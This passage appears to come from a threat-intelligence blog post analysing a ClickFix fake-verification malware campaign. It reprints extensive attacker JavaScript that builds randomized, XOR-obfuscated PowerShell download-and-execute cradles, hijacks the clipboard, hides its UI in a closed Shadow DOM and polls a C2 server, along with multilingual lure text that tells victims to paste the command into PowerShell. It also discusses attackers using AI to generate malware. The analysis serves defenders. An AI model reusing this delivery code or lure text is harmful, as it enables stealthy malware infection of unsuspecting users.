  • Simultaneously, localeCountryCode() extracts the region from the browser’s language settings, while fetchCountryInfo() enriches this with IP-based geolocation via an external API. This dual-layer approach ensures higher accuracy in determining the victim’s geographic context.

  • This information is later used in C2 communication and payload generation. For example, the malware may:

    • deliver region-specific payloads

    • avoid execution in high-risk countries (e.g., CIS regions)

    • prioritize high-value targets

This demonstrates a clear shift toward context-aware malware delivery, where execution is conditional rather than uniform.



Shadow DOM Injection — Stealth UI Deployment

The script uses a closed Shadow DOM to encapsulate the malicious interface:

               // Shadow DOM: complete CSS isolation from host site
                const hostEl = document.createElement('div');
                hostEl.id = 'bw-cf-host';
                hostEl.style.cssText = 'position:fixed;inset:0;z-index:2147483647;';
                const shadow = hostEl.attachShadow({ mode: 'closed' });

This is a highly effective stealth technique. Unlike open Shadow DOM, a closed Shadow DOM prevents external scripts (including security tools) from accessing or modifying its contents. This means:

  • browser extensions cannot inspect the injected UI

  • DOM-based detection tools are bypassed

  • debugging becomes significantly harder

This technique is observed in advanced phishing frameworks and represents a modern evolution of client-side evasion.


prefetchTokenAndExt() — Pre-Infection Optimization

        async function prefetchTokenAndExt() {
            try {
                const tUrl = tokenUrl + '&os=windows&_ts=' + Date.now();
                const tokenResp = await fetch(tUrl, { cache: 'no-store' });
                const tokenData = await tokenResp.json();
                if (tokenResp.ok && tokenData && tokenData.token) {
                    __prefetchedToken = tokenData;
                    __prefetchTs = Date.now();
                }
            } catch (e) {}
            try {
                if (extUrl) {
                    const eUrl = extUrl + (extUrl.includes('?') ? '&' : '?') + '_ts=' + Date.now();
                    const extResp = await fetch(eUrl, { cache: 'no-store' });
                    const extData = await extResp.json();
                    if (extResp.ok && extData) {
                        if (extData.ext && typeof extData.ext === 'string') {
                            const cleaned = extData.ext.replace(/[^a-z0-9]/ig, '').toLowerCase();
                            if (cleaned) __prefetchedExt.ext = cleaned;
                        }
                        if (typeof extData.archivePassword === 'string') {
                            __prefetchedExt.archivePassword = extData.archivePassword;
                        }
                    }
                }
            } catch (e) {}
        }

        // Start pre-fetch immediately when page is shown
        prefetchTokenAndExt();

  • This function is particularly important because it executes before any user interaction. It retrieves:

    • a unique infection token

    • payload metadata (e.g., file extension, archive password)

  • By pre-fetching this data, the attacker ensures that once the victim clicks “Verify,” the payload can be delivered immediately. This reduces latency and increases the likelihood of successful execution.

From a behavioral standpoint, this is a strong indicator of malicious activity.


Request Headers
Request Headers
Response from C2
Response from C2

generateDownloadContext() — The Payload Generation Engine

  • The generateDownloadContext() function represents the core weaponization stage of the ClickFix campaign, where attacker-controlled infrastructure, obfuscation techniques, and execution logic converge to produce a fully functional, polymorphic malware delivery command.

  • Unlike traditional loaders that embed static payloads, this function dynamically constructs a unique, victim-specific PowerShell cradle at runtime, significantly increasing stealth and reducing detection.


async function generateDownloadContext() {
            try {
                // Use pre-fetched token if fresh enough, otherwise fetch new one
                let tokenData = null;
                if (__prefetchedToken && (Date.now() - __prefetchTs) < TOKEN_MAX_AGE_MS) {
                    tokenData = __prefetchedToken;
                    __prefetchedToken = null; // consume - don't reuse
                } else {
                    const tUrl = tokenUrl + '&os=windows&_ts=' + Date.now();
                    const tokenResp = await fetch(tUrl, { cache: 'no-store' });
                    tokenData = await tokenResp.json();
                    if (!tokenResp.ok || !tokenData || !tokenData.token) throw new Error((tokenData && tokenData.error) || 'Token error');
                }
                if (!tokenData || !tokenData.token) throw new Error('Token error');

                // Build the server-side PS serve URL (cradle fetches script from here)
                const serveUrl = `${panel}/api/?a=v&t=${tokenData.token}`
                    + `&ref=${encodeURIComponent(refId)}`
                    + (countryCode ? `&cc=${encodeURIComponent(countryCode)}` : '');

The function begins by retrieving a server-generated token from the C2 endpoint. This token acts as a unique identifier for the victim session and is used to construct the payload delivery URL.


  • Once the payload URL is generated, the function applies XOR encryption combined with hexadecimal encoding. A randomly generated key (between 16–32 characters) is used to XOR each character of the URL, producing an encoded hex string.

  • This transformation serves a critical evasion purpose. Instead of embedding the malicious domain directly in the script — which could be easily detected by static scanners — the URL is reconstructed only at runtime within PowerShell.



                // --- XOR-obfuscate URL so domain isn't visible in plain text ---
                function rndKey(len) {
                    const c = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
                    let k = '';
                    for (let i = 0; i < len; i++) k += c[Math.floor(Math.random() * c.length)];
                    return k;
                }
                const xorKeyLen = 16 + Math.floor(Math.random() * 17); // 16-32
                const xorKey = rndKey(xorKeyLen);
                let xorHex = '';
                for (let i = 0; i < serveUrl.length; i++) {
                    xorHex += (serveUrl.charCodeAt(i) ^ xorKey.charCodeAt(i % xorKey.length)).toString(16).padStart(2, '0');
                }
                const vK = rndVar(), vH = rndVar(), vU = rndVar();
                const urlDecoder = `$${vK}='${xorKey}';$${vH}='${xorHex}';$${vU}=-join(0..($${vH}.Length/2-1)|%{[char]([byte]('0x'+$${vH}.Substring($_*2,2))-bxor[byte]$${vK}[$_%$${vK}.Length])})`;

After obfuscating the URL, the script constructs a PowerShell snippet responsible for decoding it at execution time. This is done using byte-level operations and XOR reversal logic implemented directly in PowerShell.

The generated decoder:

  • reconstructs the original URL

  • operates entirely in memory

  • avoids writing intermediate artifacts to disk

This creates a seamless JavaScript → PowerShell execution bridge


psCmd = `${tls};${urlDecoder};${wcInit};&(${rndSplit('iex')}) ${dlCall}`;

Randomized String Fragmentation — Breaking Detection Signatures

An advanced feature of this function is the use of string fragmentation via helper functions like rndSplit() and rndSplit3(). These functions randomly divide critical strings (such as Net.WebClient, Invoke-Expression, etc.) into multiple concatenated segments.


                // Randomized string-split: break at random position
                function rndSplit(s) {
                    if (s.length <= 3) return `'${s}'`;
                    const pos = 1 + Math.floor(Math.random() * (s.length - 2));
                    return `('${s.slice(0, pos)}'+'${s.slice(pos)}')`;
                }
                // Multi-split: break into 3 parts for longer strings
                function rndSplit3(s) {
                    if (s.length <= 6) return rndSplit(s);
                    const p1 = 1 + Math.floor(Math.random() * Math.floor(s.length / 3));
                    const p2 = p1 + 1 + Math.floor(Math.random() * Math.floor((s.length - p1) / 2));
                    return `('${s.slice(0, p1)}'+'${s.slice(p1, p2)}'+'${s.slice(p2)}')`;
                }

tls = `$${vT}=${rndSplit3('Net.ServicePointManager')};[type]$${vT}|%{$_.GetProperty(${rndSplit('SecurityProtocol')}).SetValue($null,3072)}`;

                const v = rndVar();
                const wcType = rndSplit('Net.WebClient');
                const dlMethod = rndSplit('DownloadString');
                const uaHeader = rndSplit('User-Agent');


Final Delivery payload

One of the most sophisticated aspects of this function is the implementation of multiple execution pathways for the final payload. Instead of relying on a single method like Invoke-Expression, the script randomly selects from several alternatives, including:

  • indirect invocation via string concatenation

  • execution through ExecutionContext.InvokeCommand

  • scriptblock creation and invocation

  • dot-sourcing of dynamically created scriptblocks

Each of these methods achieves the same end result — executing the downloaded payload — but does so through different internal mechanisms.

                // Obfuscated invoke - 4 variants, all tested and working
                const cradleVariant = Math.floor(Math.random() * 4);
                const dlCall = `$${v}.${dlMethod}($${vU})`;
                let psCmd;
                if (cradleVariant === 0) {
                    // &(('i'+'ex')) - breaks 'iex' signature
                    psCmd = `${tls};${urlDecoder};${wcInit};&(${rndSplit('iex')}) ${dlCall}`;
                } else if (cradleVariant === 1) {
                    // Invoke-Expression via variable indirection - no known method names
                    const vE = rndVar();
                    const vCtx = rndVar();
                    psCmd = `${tls};${urlDecoder};${wcInit};$${vCtx}=$ExecutionContext.(${rndSplit('InvokeCommand')});$${vE}=$${vCtx}.(${rndSplit('GetCommand')})(${rndSplit3('Invoke-Expression')},[System.Management.Automation.CommandTypes]::Cmdlet);${dlCall}|&$${vE}`;
                } else if (cradleVariant === 2) {
                    // [scriptblock]::Create via variable - &([type]) doesn't work, use var
                    const vSb = rndVar();
                    psCmd = `${tls};${urlDecoder};${wcInit};$${vSb}=[type]${rndSplit('scriptblock')};$${vSb}::Create(${dlCall}).InvokeReturnAsIs()`;
                } else {
                    // Dot-source with [scriptblock] via [type] cast - tested OK

At the end of the function, all components are combined into a single PowerShell command:

  • TLS configuration

  • URL decoder

  • WebClient initialization

  • payload download

  • execution logic

The result is a fully obfuscated, self-contained PowerShell cradle that:

  • reconstructs its target URL at runtime

  • downloads the malicious payload in memory

  • executes it without touching disk

psCmd = `${tls};${urlDecoder};${wcInit};.([type]${rndSplit('scriptblock')})::Create(${dlCall})`;
                }

                return { psCmd, token: tokenData.token, downloadUrl: serveUrl, ext: 'exe' };


Finally Copies the Payload to Clipboard for execution

One of the distinctive aspects of this campaign is the use of clipboard manipulation:

navigator.clipboard.writeText(ctx.psCmd)

The script copies the obfuscated PowerShell command directly into the victim’s clipboard. It then instructs the user to paste and execute it manually via PowerShell.


                async function setObfuscatedCommandToClipboard() {
                        const ctx = await generateDownloadContext();
                        let clipOk = false;
                        if (ctx && ctx.psCmd) {
                            command = ctx.psCmd;
                            // Try navigator.clipboard first
                            try {
                                await navigator.clipboard.writeText(ctx.psCmd);
                                clipOk = true;
                            } catch (e) {
                                // Fallback: execCommand
                                try {
                                    const textarea = document.createElement('textarea');
                                    textarea.value = ctx.psCmd;
                                    textarea.setAttribute('readonly', '');
                                    textarea.style.position = 'absolute';
                                    textarea.style.left = '-9999px';
                                    document.body.appendChild(textarea);
                                    textarea.select();
                                    clipOk = document.execCommand('copy');
                                    document.body.removeChild(textarea);
                                } catch (e2) {}
                            }
                            logSafe(logUrl, { eventType: clipOk ? 'clip_ok' : 'clip_fail', browser: browserName, os, mode, country: countryCode });
                        }
                        return ctx ? Object.assign(ctx, { clipOk }) : ctx;
                }

After the payload is delivered, this function continuously polls the C2 server to check whether the token has been used. If the server confirms execution, the script updates the UI to display a successful verification message.

This serves two purposes:

  1. Reinforces the illusion of legitimacy

  2. Confirms successful infection to the attacker

This feedback loop is a hallmark of mature malware frameworks, where execution is not assumed but verified.


                const onCopy = function(e) {
                    try {
                        if (!command) return;
                        e.preventDefault();
                        if (e.clipboardData) {
                            e.clipboardData.setData('text/plain', command);
                        } else if (window.clipboardData) {
                            window.clipboardData.setData('Text', command);
                        }
                    } catch (err) {}
                };
                try { document.addEventListener('copy', onCopy, true); } catch (e) {}

        function waitForTokenUsed(token) {
            if (!token || !tokenStatusUrl) return;
            const startedAt = Date.now();
            const timeoutMs = 3 * 60 * 1000;
            const intervalMs = 1500;

            let finished = false;

            const markDownloaded = () => {
                try { localStorage.setItem(storageKey, '1'); } catch (e) {}
            };

            const showPassedThenClose = () => {
                if (finished) return;
                finished = true;

                try {
                    // Hide verify panel, show green check in Turnstile widget
                    if (verifyPanel) verifyPanel.classList.remove('active');
                    if (cfTurnstileBox) cfTurnstileBox.classList.remove('cf-expanded');
                    if (cfSpinner) cfSpinner.style.display = 'none';
                    if (cfCheck) cfCheck.style.display = 'block';
                    // Hide error, restore desc
                    if (cfError) cfError.style.display = 'none';
                    if (cfDesc) cfDesc.style.display = 'block';
                    // Clear retry timer
                    if (retryInterval) { clearInterval(retryInterval); retryInterval = null; }

                    // Change subtitle to "Verifying..." then show success message
                    if (cfSubtitle) cfSubtitle.textContent = t.subtitleVerifying;

                    setTimeout(() => {
                        try {
                            // Show "Verification successful. Waiting for domain.com to respond."
                            if (cfSuccess) {
                                cfSuccess.textContent = t.successMsg.replace('{host}', host);
                                cfSuccess.style.display = 'block';
                            }
                            // Hide the turnstile widget
                            if (cfTurnstileBox) cfTurnstileBox.style.display = 'none';
                        } catch (e) {}
                    }, 600);

Possible AI-Generated Code Indicators


Several indicators strongly suggest that the code was generated or assisted by an AI system.


Indicator 1 — Over-documented structured functions

Human attackers dont generally add comments to a malware, their aim is to develop malware as obfuscated/tough to reverse engineer as possible


Indicator 2 — Large multilingual interface

The script contains a massive internationalization object supporting many languages.

This level of localization is uncommon in manually written malware.


                    en:{subtitle:"Performing security verification",desc:"This website uses a security service to protect against malicious bots. This page is displayed while the website verifies you are not a bot.",errorMsg:"Automatic verification failed. Your connection has been flagged for additional review. Please complete the manual verification below to continue.",cbLabel:"Verify you are human",verifyTitle:"To complete verification, please:",step1:"Press <b><i class='fab fa-windows'></i> + X</b>.",step2:"Press <b>I</b> to open PowerShell.",step3:"Press <b>Ctrl</b> + <b>V</b> to paste the verification code.",step4:"Press <b>Enter</b> to finish.",hint:"Perform the steps above to finish verification.",verifyBtn:"Verify",subtitleVerifying:"Verifying you are human. This may take a few seconds.",successMsg:"Verification successful. Waiting for {host} to respond.",retryTimer:"Automatic retry in {time}"},
                    de:{subtitle:"Sicherheitsüberprüfung wird durchgeführt",desc:"Diese Website verwendet einen Sicherheitsdienst zum Schutz vor bösartigen Bots. Diese Seite wird angezeigt, während die Website überprüft, dass Sie kein Bot sind.",errorMsg:"Automatische Überprüfung fehlgeschlagen. Ihre Verbindung wurde zur zusätzlichen Überprüfung markiert. Bitte führen Sie die manuelle Überprüfung unten durch, um fortzufahren.",cbLabel:"Bestätigen Sie, dass Sie ein Mensch sind",verifyTitle:"Um die Überprüfung abzuschließen, bitte:",step1:"Drücken Sie <b><i class='fab fa-windows'></i> + X</b>.",step2:"Drücken Sie <b>I</b>, um PowerShell zu öffnen.",step3:"Drücken Sie <b>Strg</b> + <b>V</b>, um den Code einzufügen.",step4:"Drücken Sie <b>Enter</b>, um abzuschließen.",hint:"Führen Sie die obigen Schritte aus.",verifyBtn:"Überprüfen",subtitleVerifying:"Es wird überprüft, ob Sie ein Mensch sind. Dies kann einige Sekunden dauern.",successMsg:"Überprüfung erfolgreich. Warten auf Antwort von {host}.",retryTimer:"Automatische Wiederholung in {time}"},
                    fr:{subtitle:"Vérification de sécurité en cours",desc:"Ce site utilise un service de sécurité pour se protéger contre les bots malveillants. Cette page s'affiche pendant que le site vérifie que vous n'êtes pas un bot.",errorMsg:"La vérification automatique a échoué. Votre connexion a été signalée pour un examen supplémentaire. Veuillez effectuer la vérification manuelle ci-dessous pour continuer.",cbLabel:"Vérifiez que vous êtes humain",verifyTitle:"Pour compléter la vérification :",step1:"Appuyez sur <b><i class='fab fa-windows'></i> + X</b>.",step2:"Appuyez sur <b>I</b> pour ouvrir PowerShell.",step3:"Appuyez sur <b>Ctrl</b> + <b>V</b> pour coller le code.",step4:"Appuyez sur <b>Entrée</b> pour terminer.",hint:"Effectuez les étapes ci-dessus.",verifyBtn:"Vérifier",subtitleVerifying:"Vérification que vous êtes humain. Cela peut prendre quelques secondes.",successMsg:"Vérification réussie. En attente de la réponse de {host}.",retryTimer:"Nouvelle tentative automatique dans {time}"},
                    es:{subtitle:"Realizando verificación de seguridad",desc:"Este sitio web utiliza un servicio de seguridad para protegerse contra bots maliciosos. Esta página se muestra mientras el sitio verifica que no eres un bot.",errorMsg:"La verificación automática ha fallado. Su conexión ha sido marcada para una revisión adicional. Complete la verificación manual a continuación para continuar.",cbLabel:"Verifica que eres humano",verifyTitle:"Para completar la verificación:",step1:"Pulsa <b><i class='fab fa-windows'></i> + X</b>.",step2:"Pulsa <b>I</b> para abrir PowerShell.",step3:"Pulsa <b>Ctrl</b> + <b>V</b> para pegar el código.",step4:"Pulsa <b>Enter</b> para finalizar.",hint:"Realiza los pasos anteriores.",verifyBtn:"Verificar",subtitleVerifying:"Verificando que eres humano. Esto puede tardar unos segundos.",successMsg:"Verificación exitosa. Esperando respuesta de {host}.",retryTimer:"Reintento automático en {time}"},
                    pt:{subtitle:"Realizando verificação de segurança",desc:"Este site usa um serviço de segurança para proteção contra bots maliciosos. Esta página é exibida enquanto o site verifica que você não é um bot.",errorMsg:"A verificação automática falhou. Sua conexão foi sinalizada para revisão adicional. Conclua a verificação manual abaixo para continuar.",cbLabel:"Verifique que você é humano",verifyTitle:"Para completar a verificação:",step1:"Pressione <b><i class='fab fa-windows'></i> + X</b>.",step2:"Pressione <b>I</b> para abrir o PowerShell.",step3:"Pressione <b>Ctrl</b> + <b>V</b> para colar o código.",step4:"Pressione <b>Enter</b> para concluir.",hint:"Conclua as etapas acima.",verifyBtn:"Verificar",subtitleVerifying:"Verificando que você é humano. Isso pode levar alguns segundos.",successMsg:"Verificação bem-sucedida. Aguardando resposta de {host}.",retryTimer:"Tentativa automática em {time}"},
                    it:{subtitle:"Verifica di sicurezza in corso",desc:"Questo sito utilizza un servizio di sicurezza per proteggersi dai bot malevoli. Questa pagina viene visualizzata mentre il sito verifica che non sei un bot.",errorMsg:"La verifica automatica non è riuscita. La tua connessione è stata segnalata per un controllo aggiuntivo. Completa la verifica manuale qui sotto per continuare.",cbLabel:"Verifica di essere umano",verifyTitle:"Per completare la verifica:",step1:"Premi <b><i class='fab fa-windows'></i> + X</b>.",step2:"Premi <b>I</b> per aprire PowerShell.",step3:"Premi <b>Ctrl</b> + <b>V</b> per incollare il codice.",step4:"Premi <b>Invio</b> per completare.",hint:"Esegui i passaggi sopra.",verifyBtn:"Verifica",subtitleVerifying:"Verifica che tu sia umano. Potrebbe richiedere qualche secondo.",successMsg:"Verifica completata. In attesa di risposta da {host}.",retryTimer:"Nuovo tentativo automatico tra {time}"},
                    tr:{subtitle:"Güvenlik doğrulaması yapılıyor",desc:"Bu web sitesi kötü niyetli botlara karşı koruma sağlamak için bir güvenlik hizmeti kullanmaktadır. Bu sayfa, web sitesi sizin bot olmadığınızı doğrularken görüntülenir.",errorMsg:"Otomatik doğrulama başarısız oldu. Bağlantınız ek inceleme için işaretlendi. Devam etmek için aşağıdaki manuel doğrulamayı tamamlayın.",cbLabel:"İnsan olduğunuzu doğrulayın",verifyTitle:"Doğrulamayı tamamlamak için:",step1:"<b><i class='fab fa-windows'></i> + X</b> tuşlarına basın.",step2:"PowerShell'i açmak için <b>I</b> tuşuna basın.",step3:"Kodu yapıştırmak için <b>Ctrl</b> + <b>V</b> tuşlarına basın.",step4:"Bitirmek için <b>Enter</b>'a basın.",hint:"Yukarıdaki adımları uygulayın.",verifyBtn:"Doğrula",subtitleVerifying:"İnsan olup olmadığınız doğrulanıyor. Bu birkaç saniye sürebilir.",successMsg:"Doğrulama başarılı. {host} yanıtı bekleniyor.",retryTimer:"Otomatik yeniden deneme: {time}"},
                    uk:{subtitle:"Виконується перевірка безпеки",desc:"Цей веб-сайт використовує службу безпеки для захисту від зловмисних ботів. Ця сторінка відображається, поки сайт перевіряє, що ви не бот.",errorMsg:"Автоматична перевірка не пройдена. Ваше з'єднання позначено для додаткової перевірки. Будь ласка, виконайте ручну перевірку нижче, щоб продовжити.",cbLabel:"Підтвердіть, що ви людина",verifyTitle:"Щоб завершити перевірку:",step1:"Натисніть <b><i class='fab fa-windows'></i> + X</b>.",step2:"Натисніть <b>I</b>, щоб відкрити PowerShell.",step3:"Натисніть <b>Ctrl</b> + <b>V</b>, щоб вставити код.",step4:"Натисніть <b>Enter</b>, щоб завершити.",hint:"Виконайте кроки вище.",verifyBtn:"Перевірити",subtitleVerifying:"Перевіряємо, чи ви людина. Це може зайняти кілька секунд.",successMsg:"Перевірку пройдено. Очікування відповіді від {host}.",retryTimer:"Автоматична повторна спроба через {time}"},
                    ar:{subtitle:"جارٍ إجراء التحقق الأمني",desc:"يستخدم هذا الموقع خدمة أمنية للحماية من الروبوتات الضارة. تُعرض هذه الصفحة أثناء تحقق الموقع من أنك لست روبوتًا.",errorMsg:"فشل التحقق التلقائي. تم تمييز اتصالك لمراجعة إضافية. يرجى إكمال التحقق اليدوي أدناه للمتابعة.",cbLabel:"تحقق من أنك إنسان",verifyTitle:"لإتمام التحقق:",step1:"اضغط <b><i class='fab fa-windows'></i> + X</b>.",step2:"اضغط <b>I</b> لفتح PowerShell.",step3:"اضغط <b>Ctrl</b> + <b>V</b> للصق الرمز.",step4:"اضغط <b>Enter</b> للإنهاء.",hint:"أكمل الخطوات أعلاه.",verifyBtn:"تحقق",subtitleVerifying:"جارٍ التحقق من أنك إنسان. قد يستغرق هذا بضع ثوانٍ.",successMsg:"تم التحقق بنجاح. في انتظار استجابة {host}."},
                    zh:{subtitle:"正在进行安全验证",desc:"本网站使用安全服务来防御恶意机器人。此页面在网站验证您不是机器人时显示。",errorMsg:"自动验证失败。您的连接已被标记为需要额外审查。请完成以下手动验证以继续。",cbLabel:"验证您是人类",verifyTitle:"要完成验证,请:",step1:"按 <b><i class='fab fa-windows'></i> + X</b>。",step2:"按 <b>I</b> 打开 PowerShell。",step3:"按 <b>Ctrl</b> + <b>V</b> 粘贴验证码。",step4:"按 <b>Enter</b> 完成。",hint:"请完成以上步骤。",verifyBtn:"验证",subtitleVerifying:"正在验证您是否为人类。这可能需要几秒钟。",successMsg:"验证成功。等待 {host} 响应。"},
                    ja:{subtitle:"セキュリティ検証を実行中",desc:"このウェブサイトは悪意のあるボットから保護するためにセキュリティサービスを使用しています。このページはウェブサイトがあなたがボットでないことを確認している間表示されます。",errorMsg:"自動検証に失敗しました。お客様の接続は追加審査の対象としてフラグが立てられました。続行するには以下の手動検証を完了してください。",cbLabel:"人間であることを確認",verifyTitle:"検証を完了するには:",step1:"<b><i class='fab fa-windows'></i> + X</b> を押します。",step2:"<b>I</b> を押して PowerShell を開きます。",step3:"<b>Ctrl</b> + <b>V</b> を押して確認コードを貼り付けます。",step4:"<b>Enter</b> を押して完了します。",hint:"上記の手順を実行してください。",verifyBtn:"確認",subtitleVerifying:"人間であるか確認中です。数秒かかる場合があります。",successMsg:"検証成功。{host} の応答を待っています。"},


AI-Driven Malware Engineering: The New Era of Adaptive Threats


  • In recent campaigns, attackers are increasingly leveraging AI to accelerate malware development and enhance evasion capabilities. Instead of manually crafting payloads, adversaries now use AI-assisted code generation to produce modular, well-structured, and highly adaptable malware frameworks.

  • This results in code that includes clean abstractions, multilingual support, and multiple fallback execution paths—features traditionally uncommon in conventional malware. AI also enables rapid polymorphism, where payloads are dynamically altered through randomized variables, string fragmentation, and diverse execution techniques, making signature-based detection significantly less effective.

  • Additionally, AI helps attackers optimize social engineering by generating realistic phishing interfaces and localized content at scale. The net effect is a shift from static, reusable malware to dynamic, context-aware attack systems, where each victim may receive a uniquely generated payload, drastically increasing stealth and operational success rates.


 
 
 

Comments


bottom of page